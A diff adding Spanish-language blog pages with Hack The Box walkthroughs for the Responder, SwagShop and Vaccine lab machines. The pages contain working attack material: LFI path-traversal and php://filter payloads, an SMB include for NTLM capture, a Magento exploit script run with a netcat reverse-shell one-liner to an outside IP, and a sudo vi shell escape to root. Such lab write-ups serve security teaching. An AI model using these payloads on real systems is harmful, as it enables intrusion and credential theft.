    Primero analizaremos lo puertos tcp ya que son los más utilizados y los más rápidos de escanear.

    + +

    Mediante nmap realizaremos varios escaneos, el primero será un analisis de todos los puertos abiertos del protocolo tcp.

    + +

    Captura de pantalla -2022-04-11 18-58-03

    + +
    nmap -p- --open -T5 -v -n [Ip Víctima] -oG allPorts
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    –open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido.

    + +

    -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola.

    + +

    -n : Anula la resolución DNS.

    + +

    -oG : Nos exporta los resultados en formato grepeable.

    + +

    allPorts : Es el archivo donde se guardan los resultados.

    + +

    Gracias a la función extractPorts podremos acceder en cualquier momento a los resultados guardados en el archivo allPorts y poder copiar y pegar + de forma ráìda sin tener que volver a realizar el escaneo.

    + +

    Podreís encontrar la función ‘extractPorts’ en mi repositorio.

    + +

    Realizamos el escaneo con nmap:

    + +

    nmap2-HTB-REsponder

    + +

    Podemos ver como nos muestra tres puertos abiertos. Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado solo en los puertos +abiertos para verla información que nos reportan y exportarlo en formato nmap al archivo targed.

    + +

    Captura de pantalla -2022-04-11 19-01-25

    + +
          nmap -sC -sV -p[Port1,Port2] [Ip Víctima] -oN target
    +
    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear. Ej: -p80,5985,7680

    + +

    -oN : Reporta los resultados en formato nmap al archivo ‘target’.

    + +

    Captura de pantalla -2022-04-11 19-03-52

    + +

    Ya tenemos un poco más de información, podemos ver como el puerto 80 tiene un servicio http. +Vamos a tratar de comprobar en el navegador si podemos acceder algún dominio mediante la ip +de la máquina.

    + +

    Para ello nos dirigiremos al navegador (en mi caso firefox) y al tratarse de un sevicio http introduciremos la siguiente url:

    + +
    http://[Ip Víctima]
    +
    + +

    Captura de pantalla -2022-04-11 19-20-45

    + +

    Captura de pantalla -2022-04-08 09-53-42

    + +

    Captura de pantalla -2022-04-08 09-54-10

    + +

    Como podemos ver, la dirección no nos carga, pero al fijarnos en la url vemos que nos redirige a una página llamada ‘unika.htb’. Tener en cuenta que +firefox al no poder cargar la página en http automáticamente cambia a https para tambien tratar de cargar. Por eso que en firefox al tratar +de cargar la página finalmente nos muestra https pero la página a la que tenemos que acceder es:

    + +
    http://unika.htb
    +
    + +

    Al igual que en máquinas anteriores, vamos a tratar de introducir los datos del dominio en nuestra carpeta de hosts para ver si podemos cargar la paǵina.

    + +

    Para ello nos dirigiremos al directorio ‘/etc/hosts’ y introduciremos la Ip de la vítima y el host al que corresponde:

    + +
    sudo nano /etc/hosts
    +
    + +

    Captura de pantalla -2022-04-11 19-39-18

    + +

    Introducimos al final del archivola ip y el nombre del host (unika.htb) separados por un espacio.

    + +

    Captura de pantalla -2022-04-11 19-40-46

    + +

    Guardamos: Cntrl + o

    + +

    Salimos: Cntrl + x

    + +

    Una vez terminado esto, regresamos a nuestro navegador y tratamos de recargar la página http://unika.htb.

    + +

    Captura de pantalla -2022-04-08 10-20-23

    + +

    Genial, ya tenemos acceso a la página. Como podemos ver, se trata de una empresa de diseño y estetica web. +Ahora vamos a tratar de revisar la página para buscar algo que nos pueda servir.

    + +

    Despues de estar un rato revisando la página veo que la unica pestaña que parece hacer algo es la EN, que nos ofrece poder cambiar de idioma.

    + +

    Captura de pantalla -2022-04-11 20-09-20

    + +

    Al cambiar al frances (FR) o al alemán (DE), algo interesante es que la página cambia de url y nos redirige a una página html (más vulnerable).

    + +

    Captura de pantalla -2022-04-11 20-15-17

    + +

    Los sitios web dinámicos incluyen páginas HTML sobre la marcha utilizando información de la solicitud HTTP para incluir parámetros GET y POST, cookies +y otras variables. Es común que una página incluya otra página en función de algunos de estos parámetros.

    + +

    Para tratar de acceder al sistema, vamos a utilizar una tecnica conocida como Local Fail Intrusion LFI.

    + +

    Local Fail Intrusion

    + +

    Un local fail intrusion (inclusión de archivos locales) ocurre cuando un atacante puede hacer que un sitio web incluya un archivo que posteriormente +utilizará en su beneficio.

    + +

    Si la aplicación trata esta entrada como confiable y no se realizan las comprobaciones de seguridad requeridas en esta entrada, entonces el atacante +puede explotarla usando la cadena ../ en el nombre de la página ingresada y eventualmente ver los archivos confidenciales en el sistema de archivos +local.

    + +

    La cadena ../ se usa para recorrer un directorio hacia atras, uno a la vez. Por lo tanto, se incluyen varias cadenas ../ en la URL para que el +controlador de archivos en el servidor vuelva al directorio base, es decir, C:.

    + +

    Luego, cargaremos un archivo remoto en el host proporcionandole un nombre comun en windows para que el sistema no pueda detectarlo como malicioso.

    + +

    Uno de los archivos más comunes a los que un probador de penetración podría intentar acceder en una máquina con Windows para verificar LFI es el +archivo de ‘hosts’.

    + +
    WINDOWS/System32/drivers/etc/hosts
    +
    + +

    (Este archivo ayuda en la traducción local de nombres de host a direcciones IP).

    + +

    En nuestro caso vemos que al cambiar de idioma al frances (FR) se nos muestra una page= en la url. Aquí es donde mediante la cadena ../ +retrocederemos hasta el directorio inicial y luego nos dirigiremos al archivo hosts. Para ello introduciremos las siguientes ordenes en la url.

    + +
    http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
    +
    + +

    Captura de pantalla -2022-04-11 21-38-44

    + +

    Como se puede ver, el Local File Inclusion es posible ya que podemos ver el contenido del archivo host en situado en el directorio +C:/windows/system32/drivers/etc/hosts.

    + +

    Captura de pantalla -2022-04-11 21-33-58

    + +

    Esto es posible porque en el backend se usa el método ‘include()’ de PHP para añadir las URL de las página web de otros idiomas. Y debido a que no se +realiza una desinfección adecuada en este parámetro, pudimos pasar entradas maliciosas y ver los archivos internos del sistema.

    + +

    Include()

    + +

    El metodo include() en php, toma todo el texto/código/marcado que existe en el archivo especificado y lo carga en la memoria, haciéndolo disponible +para su uso.

    + +

    Sabemos que esta página web es vulnerable a la vulnerabilidad de inclusión de archivos y se sirve ben un máquina de ventanas. Por lo tanto, existe la +posibilidad de incluir un archivo en la estación de trabajo de nuestro atacante.

    + +

    Podemos utilizar un protocolo como SMB para que Windows intente autenticarse en nuestra máquina y poder capturar el NetNTLMv2.

    + +

    NTLM

    + +

    NTLM es una colección de protocolos de autenticación creados por Microsoft.

    + +

    El proceso de autenticación NTLM se realiza de la siguiente manera:

    + +
      +
    1. +

      El cliente envía el nombre de usuario y el nombre de dominio al servidor.

      +
    2. +
    3. +

      El servidor genera una cadena de caracteres aleatorios, denominada desafío y la devuelve al cliente.

      +
    4. +
    5. +

      El cliente cifra el desafío con el hash NTLM de la contraseña del usuario y lo envía de vuelta al servidor.

      +
    6. +
    7. +

      El servidor recupera la contraseña de usuario (o equivalente).

      +
    8. +
    9. +

      El servidor utiliza el valor hash recuperado de la base de datos de la cuenta de seguridad +para cifrar la cadena de desafío. Luego, el valor se compara con el valor recibido del cliente. +Si los valores coinciden, el cliente se autentica.

      +
    10. +
    + +

    En el archivo de configuración php.ini de la maquina, si allow_url_include está configurado en Desactivado + de forma predeterminada indica que PHP no carga URL HTTP o FTP remotas para evitar ataques de inclusión + de archivos remotos.

    + +

    Sin embargo, incluso si allow_url_include y allow_url_fopen están configurados en Off, PHP no impedirá + la carga de URL de SMB.

    + +

    En nuestro caso, podemos hacer un mal uso de esta funcionalidad para robar el hash NTLM.

    + +

    Ahora, podemos intentar cargar una URL de SMB y capturar los valores hash del objetivo mediante ‘Responder’.

    + +

    Herramienta Responder

    + +

    Responder es una herramienta que puede realizar muchos tipos diferentes de ataques, pero para este escenario, + configurará un servidor SMB malicioso.

    + +

    Cuando la máquina de destino intenta realizar la autenticación NTLM en ese servidor, Responder devuelve un + desafío para que el servidor cifre con la contraseña del usuario.

    + +

    Cuando el servidor responde, Responder utilizará el desafío y la respuesta cifrada para generar el NetNTLMv2.

    + +

    Si bien no podemos revertir NetNTLMv2, podemos probar muchas contraseñas comunes diferentes para ver si + alguna genera la misma respuesta de desafío y, si encontramos una, sabemos que esa es la contraseña.

    + +

    Esto a menudo se conoce como descifrado de hash, lo que haremos con un programa llamado John The Ripper.

    + +

    Primero nos clonaremos el repositorio de la herramienta Responder del siguiente repositorio:

    + +
    sudo git clone https://github.com/SpiderLabs/Responder
    +
    + +

    Captura de pantalla -2022-04-11 22-28-50

    + +

    Recordar que el repositorio Responder se clonara el directorio en el que nos encontremos. + Ahora podemos ver como dentro del directorio ‘Responder’ se han clonado los siguientes archivos:

    + +

    Captura de pantalla -2022-04-11 22-31-04

    + +

    Ahora vamosa a comprobar que en archivo ‘Responder.conf’ tenemos configurados los parametros de escucha + SQL y SMB en On. Para ver el archivo podemos utilizar el comando ‘cat’ y para modificarlo el comando ‘nano’.

    + +
    nano Responder.conf
    +
    + +

    Captura de pantalla -2022-04-11 22-45-54

    + +

    En caso de estar en modo off lo cambiamos al on, guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Ya tendriamos la herramienta Responder preparada. Ahora debemos iniciar Responder con python3 y utilizar el indicado -I para activar el modo escucha.

    + +
    sudo python3 Responder.py -I tun0 
    +
    + +

    Captura de pantalla -2022-04-11 22-58-20

    + +

    Captura de pantalla -2022-04-11 22-59-03

    + +

    Una vez tenemos el Responder listo y en escucha, debemos configurar un parámetro dentro del servidor de la máquina para que incluya un recurso de + nuestro servidor SMB.

    + +

    Este parámetro lo configuraremos mediante el navegador web. Para ello incluiremos nuestra ip (tun0) lo cual podemos ver mediante el comando ifconfig.

    + +
    http://unika.htb/?page=//[Ip de nuestra tun0]/somefile
    +
    + +

    Captura de pantalla -2022-04-12 00-04-50

    + +

    Tras intentar realizar la escucha varias veces y recargar la página no consdigo establecer la conexión. +He revisado varias veces la configuración y por algún motivo Responder no me funciona.

    + +

    File Local Inlcusion PHP

    + +

    Así que tras ver que con Responder no podía, empece a buscar vulnerabilidades comunes de File Local Intrusion +y tras mucho investigar encontre una intrusión conocida como wrapper php//filter.

    + +

    Donde básicamente mediante el buscador, incluimos una dirección que nos reporta el hash en base64. +Tras probar las distintas obciones, está fue la que me funciono a mi:

    + +
    page=php://filter/convert.base64-encode/resource=index.php
    +
    + +

    Aqui podeís encontrar más información y más vulnerabilidades de Local File Intrusion PHP: +https://book.hacktricks.xyz/pentesting-web/file-inclusion

    + +

    Captura de pantalla -2022-04-12 00-21-23

    + +

    Lo introduciomos en el buscador:

    + +

    Captura de pantalla -2022-04-12 00-26-52

    + +
    http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php
    +
    + +

    Y al recargar la página podemos ver como se nos reporta un hash en base64.

    + +

    Captura de pantalla -2022-04-12 00-35-10

    + +

    Lo copiaremos para poder pasarlo a una terminar y tratar de descifrarlo.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_swagshop.html b/Web/htb_swagshop.html new file mode 100644 index 00000000000..e52b59a5837 --- /dev/null +++ b/Web/htb_swagshop.html @@ -0,0 +1,570 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +
    host-1
    + +

    SwagShop

    + +

    En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

    + +
    sudo mkdir SwagShop
    +
    + +

    Ahora, mediante la función mkt que tengo previamente definida en la .zshrc crearemos nuestros directorios de trabajo:

    + +
    sudo mkt
    +
    + +

    Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB.

    + +

    Captura de pantalla -2022-05-05 08-41-27

    + +

    PING

    + +

    Ejecutamos un ping y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux.

    + +
    ping -c 1 10.10.10.140
    +
    + +

    Captura de pantalla -2022-05-04 21-37-17

    + +

    Ahora vamos a ver mediante whatweb que más podemos ver:

    + +
    whatweb 10.10.10.140
    +
    + +

    Captura de pantalla -2022-05-05 02-39-19

    + +

    Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio http el cual está basado en Magento.

    + +

    ¿Qué es Magento?

    + +

    Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet.

    + +

    Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web.

    + +

    NMAP

    + +

    Ahora mediante nmap realizaremos un escaneo de puertos:

    + +
    nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2
    +
    + +

    Captura de pantalla -2022-05-04 21-47-39

    + +

    Vemos como nos reporta el puerto 80 y el puerto 20.

    + +

    Captura de pantalla -2022-05-04 21-48-00

    + +

    Intentamos ver el dominio http://10.10.10.140/ y vemos como nos redirige hasta swagshop.htb, pero no nos permite ver la página. Para ello vamos +a registrar el dominio en nuestra carpeta /etc/hosts e introducimos la Ip de la máquina víctima y el host swagshop.htb:

    + +

    Captura de pantalla -2022-05-05 00-29-52

    + +

    Captura de pantalla -2022-05-05 00-31-02

    + +

    Captura de pantalla -2022-05-04 21-51-26

    + +
    sudo nano /etc/hosts
    +
    + +

    Captura de pantalla -2022-05-05 00-33-07

    + +

    Captura de pantalla -2022-05-05 00-34-01

    + +

    Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página.

    + +

    Captura de pantalla -2022-05-05 00-34-40

    + +

    Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos.

    + +

    Gobuster

    + +

    En primer lugar, usando la herramienta gobuster vamos a tratar de realizar un escaneo genera en busca de alguna ruta que no se nos muestre en la página.

    + +

    En caso de no tener la herramienta la instalamos:

    + +
    sudo apt install gobuster
    +
    + +

    Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado directory-list-2.3-medium.txt el cual es parte del repositorio seclists

    + +

    Para descargar el repositorio:

    + +
    sudo apt install seclists
    +
    + +

    Ya tenemos gobuster y el repositorio seclists, ahora procederemos con el escaneo:

    + +
    gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
    +
    + +

    dir : Se usa para especificar la opción de directorios.

    + +

    -u : Se emplea para especificar una url.

    + +

    -w : Especifica el diccionario que vamos a usar.

    + +

    Captura de pantalla -2022-05-05 00-52-50

    + +

    Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio app contiene otros directorios.

    + +

    Captura de pantalla -2022-05-05 00-56-51

    + +

    Esto podemos confirmarlo +volviendo a pasar el gobuster e incluyendo el directorio app en la url.

    + +

    Captura de pantalla -2022-05-05 01-01-17

    + +

    Vamos a tratar de acceder al directorio app desde el navegador.

    + +

    Captura de pantalla -2022-05-04 22-45-46

    + +

    Tras ir verificando los directorios, encontramos que dentro de etc/ en el +archivo local.xml encontramos unas credenciales.

    + +

    Captura de pantalla -2022-05-05 01-04-03

    + +

    Captura de pantalla -2022-05-05 01-04-49

    + +

    Vemos como nos reporta un username como root y una password:

    + +

    Captura de pantalla -2022-05-05 01-04-59

    + +

    Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta +escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define +str tanto como usuario como contraseña.

    + +

    Para descargar la herramienta en nuestro directorio actual:

    + +
    wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py
    +
    + +

    Ahora tenemos que darle permiso de ejecución:

    + +
    sudo chmod +x magento-oneshot.py
    +
    + +

    Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima http://swagshop.htb/index.php y el comando que queramos ejecutar:

    + +
    python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php
    +
    + +

    --command : Se usa para especificar un comando. En nuestro caso whoami.

    + +

    Captura de pantalla -2022-05-05 01-40-05

    + +

    Vemos como funciona perfectamente y como nos reconoce como www-data.

    + +

    Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos +ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien +vamos a tratar de montar una shell más cómoda.

    + +

    Para ello vamos a ver primero si disponemos de netcat para tratar de establecer una reverse shell:

    + +
    python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php
    +
    + +

    Vemos que si disponemos de netcat. Ahora vamos a tratar de establecer una +reverse shell. En el siguiente enlace, podréis ver una gran repertorio +de herramientas desde las que establecer shells inversas.

    + +

    Nosotros vamos a utilizar la de Netcat:

    + +

    https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

    + +

    Captura de pantalla -2022-05-05 01-46-13

    + +

    Primero preparamos en una terminal aparte, con nuestro comando netcat nc en escucha por el puerto 8080.

    + +
    nc -lnvp 8080
    +
    + +

    Captura de pantalla -2022-05-05 09-09-31

    + +

    Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, 8080.

    + +
    python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php
    +
    + +

    Captura de pantalla -2022-05-05 01-47-38

    + +

    Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo.

    + +

    Captura de pantalla -2022-05-05 09-11-59

    + +

    Para poder obtener una shell completa basada en bash, utilizamos los siguientes comandos:

    + +
    script /dev/null -c bash
    +
    + +

    Captura de pantalla -2022-05-05 09-12-36

    + +

    Ahora pulsamos Cntl + z enviamos el proceso a segundo plano. Y ejecutamos lo siguiente:

    + +

    Captura de pantalla -2022-05-05 09-12-53

    + +

    Ejecutamos el siguiente comando:

    + +
    stty raw -echo; fg
    +
    + +

    Captura de pantalla -2022-05-05 09-13-31

    + +

    Y terminamos reseteando la shell:

    + +
    reset xterm
    +
    + +

    Captura de pantalla -2022-05-05 09-17-59

    + +

    Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por nc, ya que esta +shell es independiente y no se nos caerá.

    + +

    Como vemos la shell nos permite utilizar Cntrl + c sin expulsarnos, pero aún no nos permite utilizar Cntrl + l para +limpiar la shell y si utilizamos un nano, vemos como tampoco aprovecha todo el monitor.

    + +

    Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional.

    + +

    Para ello primero solucionaremos el problema del Cntrl + l de la siguiente manera, si realizamos un echo $TERM vemos que tiene el valor dumb +y nosotros queremos que igual que nuestra shell, valga xterm:

    + +
    echo $TERM
    +
    + +

    Captura de pantalla -2022-05-05 09-38-24

    + +

    Vemos como nos reporta dump. Para cambiarlo introducimos el siguiente comando:

    + +
    TERM=xterm
    +
    + +

    Captura de pantalla -2022-05-05 09-38-46

    + +

    Ahora ya podremos limpiar la pantalla mediante Cntrl + l. Bien, ya solo falta regular el ancho y la altura de nuestra +shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos:

    + +
    stty size
    +
    + +

    Captura de pantalla -2022-05-05 09-39-53

    + +

    Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente:

    + +
    stty size
    +
    + +

    Captura de pantalla -2022-05-05 09-40-18

    + +
    stty rows 36 columns 133
    +
    + +

    Captura de pantalla -2022-05-05 09-41-31

    + +

    Búsqueda de la primera Flag

    + +

    Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz /:

    + +
    cd /
    +
    + +

    Captura de pantalla -2022-05-05 09-42-37

    + +

    Y vamos a la carpeta /home/haris donde encontraremos el primer archivo user.txt con la primera flag.

    + +

    Captura de pantalla -2022-05-05 09-43-43

    + +

    Búsqueda de la segunda Flag

    + +

    Escalada de Privilegios.

    + +

    Ahora nos faltaría autentificarnos como root. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma +directa como root, así que vamos a tratar de utilizarlas para conectarnos mediante +mysql.

    + +
    mysql -uroot -p
    +
    + +

    Captura de pantalla -2022-05-05 02-03-56

    + +

    Captura de pantalla -2022-05-05 02-04-07

    + +

    Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo local.xml nos permite conectarnos.

    + +

    Una vez dentro de mysql vamos a ver las bases de datos:

    + +
    show databases;
    +
    + +

    Captura de pantalla -2022-05-05 02-07-44

    + +

    Vemos como existe una base de datos llamada como la máquina swagshop. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante use:

    + +
    use swagshop;
    +
    + +

    Captura de pantalla -2022-05-05 02-08-13

    + +

    Y ahora visualizamos las tablas:

    + +
    show tables;
    +
    + +

    Captura de pantalla -2022-05-05 02-08-48

    + +

    Vemos como se nos reportan un mentón, pero una de las más interesantes es admin_user. Para ver más información:

    + +
    describe admin_user;
    +
    + +

    Captura de pantalla -2022-05-05 10-03-15

    + +

    Vamos a ver que se nos reporta dentro de username y password:

    + +
    select username,password from admin_user;
    +
    + +

    Captura de pantalla -2022-05-05 10-10-11

    + +

    Vemos como nos reporta dos usuarios, forme que es el usuario que creamos nosotros a través del script de python3 y haris el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña.

    + +

    Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita +registrarnos como sudo.

    + +

    Lo primero es saber si tenemos algún tipo de privilegios:

    + +
    sudo -l
    +
    + +

    Captura de pantalla -2022-05-05 10-13-02

    + +

    Vemos como nos permite ejecutar como root sin contraseña los siguientes directorios: /usr/bin/vi y /var/www/html/*.

    + +
    sudo /usr/bin/vi /var/www/html/*
    +
    + +

    Captura de pantalla -2022-05-05 10-13-50

    + +

    Captura de pantalla -2022-05-05 10-14-18

    + +

    Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos comoroot. Para poder buscar estas vulnerabilidades por la red +debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando:

    + +
    lsb_release -a
    +
    + +

    Captura de pantalla -2022-05-05 10-39-54

    + +

    Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario +que nos permite aprovechar los permisos anteriores y regístranos como root.

    + +

    Aquí podéis ver la página donde reportan el binario: https://gtfobins.github.io/gtfobins/vi/

    + +

    Captura de pantalla -2022-05-05 02-19-31

    + +

    Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente:

    + +
    sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null
    +
    + +

    Captura de pantalla -2022-05-05 10-17-27

    + +

    sudo /usr/bin/vi /var/www/html/* : Directorios donde tenemos los permisos.

    + +

    -c ':!/bin/sh' /dev/null : Binario para tratar de registranos como root.

    + +

    Captura de pantalla -2022-05-05 10-18-06

    + +

    Genial, ya estamos como root. Podemos comprobarlo mediante el comando whoami. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio /root donde encontramos el archivo root.txt con nuestra última flag.

    + +

    Captura de pantalla -2022-05-05 10-18-19

    + +

    Captura de pantalla -2022-09-06 03-29-45

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_vaccine.html b/Web/htb_vaccine.html new file mode 100644 index 00000000000..0b09ae50137 --- /dev/null +++ b/Web/htb_vaccine.html @@ -0,0 +1,674 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + +

    vaccine_banner

    + +

    Captura de pantalla -2022-04-26 08-13-51

    + +

    HTB-Vaccine

    + +

    Resolución del starting poing de Hack the Box Vaccine.

    + +

    Fase de Reconocimiento:

    + +

    Ping:

    + +

    Captura de pantalla -2022-04-26 08-15-05

    + +

    En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema +operativo que utiliza mediante el ttl.

    + +
    ping [Ip Víctima]
    +
    + +

    Podemos observar que tiene un ttl=63, por tanto, ya sabemos que estamos frente a una máquina Linux.

    + +

    Nmap - Primer escaneo:

    + +

    Ahora podemos escanear los puertos mediante nmap.

    + +
    nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts
    +
    + +

    Esto nos guardará los puertos abiertos en el archivo allPorts por si posteriormente queremos revisarlos +de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta extractPorts.

    + +

    Captura de pantalla -2022-04-26 08-27-45

    + +

    Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: + ExtractPorts

    + +

    Captura de pantalla -2022-04-26 08-28-45

    + +

    Es este caso podemos observar los puertos 21, 22 y 80 abiertos por el protocolo TCP.

    + +

    Nmap -Segundo escaneo:

    + +

    Ahora pasaremos a realizar un escaneo más exhaustivo utilizando una serie de scrips de reconocimiento:

    + +

    Captura de pantalla -2022-04-26 08-32-53

    + +
    nmap -sC -sV -v -p21,22,80 [Ip Víctima] -oN target
    +
    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos + definidos.

    + +

    -p : Puertos a escanear. Ej: -p21,22,80

    + +

    -oN : Reporta los resultados en formato nmap al archivo + targed.

    + +

    Captura de pantalla -2022-04-26 08-33-37

    + +

    Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo target. +Para abrir este archivo podemos utilizar el comando cat.

    + +

    Recopilación de los resultados:

    + +
      +
    • Puerto 21/tcp:
    • +
    + +

    Algo interesante que podemos observar en el reporte de nmap es que el puerto 21/tcp permite el acceso mediante +el inicio de sesión Anonymous. Este inicio de sesión por defecto nos permite entrar con el usuario anonymous +y sin necesidad de utilizar contraseña.

    + +

    También podemos observar que se encuentra un archivo disponible backup.zip.

    + +
      +
    • Puerto 22/tcp:
    • +
    + +

    Aquí podemos ver que tenemos un servicio ssh activo, usando un sistema Ubuntu.

    + +
      +
    • Puerto 80/tcp:
    • +
    + +

    El puerto 80 tiene un servicio http activo, el cual, si nos dirigimos a firefox, podemos ver que nos redirige +hasta una página de registro:

    + +

    Captura de pantalla -2022-04-26 08-50-57

    + +

    Captura de pantalla -2022-04-26 08-51-56

    + +

    Tras probar los usuarios y contraseñas más comunes no conseguimos entrar, por tanto, seguiremos investigando.

    + +

    En primer luegar, vamos a tratar de acceder como el usuario ‘anonymous’ por el puerto 80 que utiliza un servicio FTP +y descargar el archivo backup.zip.

    + +

    Para ello emplearemos el comando ftp y especificando el usuario anonymous, luego nos pedirá una contraseña, +como este usuario no requiere de contraseñas, simplemente presionamos Enter.

    + +
    ftp [Ip Víctima]
    +
    + +

    Captura de pantalla -2022-04-26 09-05-06

    + +

    Ahora, mediante un ls o un dir, vamos a tratar de ver que archivos encontramos:

    + +

    Captura de pantalla -2022-04-26 09-08-17

    + +

    En mi caso no me permite ejecutar ninguno de los dos comandos. Pero como podemos ver, nos reporta que consideremos +utilizar PASV. Para ello, debemos activar el modo passive:

    + +
    passive
    +
    + +

    Captura de pantalla -2022-04-26 09-32-35

    + +

    Tras activar el modo passive ya podremos utilizar el comando ls:

    + +

    Captura de pantalla -2022-04-26 09-33-33

    + +

    Podemos ver que tenemos aquí el archvivo ‘backup.zip’. Para tratar de descargarlo utilizaremos el comando get. +Recordar que podeis ver todos los comandos disponibles dentro se la shell de ftp utilizando el comando help.

    + +

    Captura de pantalla -2022-04-26 09-37-02

    + +

    Para descargar el archivo.zip:

    + +
    get backup.zip
    +
    + +

    Captura de pantalla -2022-04-26 09-39-21

    + +

    Tener en cuenta que la shell está es muy inestable, en caso de error o de reportaros un Not Service cerrar la shell +con el comando exit y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos +minutos, se desconecta.

    + +

    Una vez descargado el archivo.zip, cerramos la shell ftp y nos dirigimos al directorio donde hemos descargado el +arhcivo backup.zip.

    + +

    Captura de pantalla -2022-04-26 09-44-48

    + +

    Como podeís ver, tenemos los dos archivos previamente creados con nmap (allPorts y target) y nuestro archivo .zip. +Vamos a crear un directorio mediante mkdir llamado Backup y vamos a introducir el archivo .zip para luego tratar +de descomprimirlo.

    + +
    mkdir Backup
    +
    +mv backup.zip ./Backup/
    +
    + +

    Una vez dentro del nuevo directorio, aplicaremos el comando unzip para tratar de descomprimirlo:

    + +
    unzip backup.zip
    +
    + +

    Captura de pantalla -2022-04-26 09-52-39

    + +

    Al intentar descomprimir el archivo nos pide una contraseña, como desconozco la contraseña, presionado Enter +podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.php y style.css):

    + +

    Captura de pantalla -2022-04-26 09-57-17

    + +

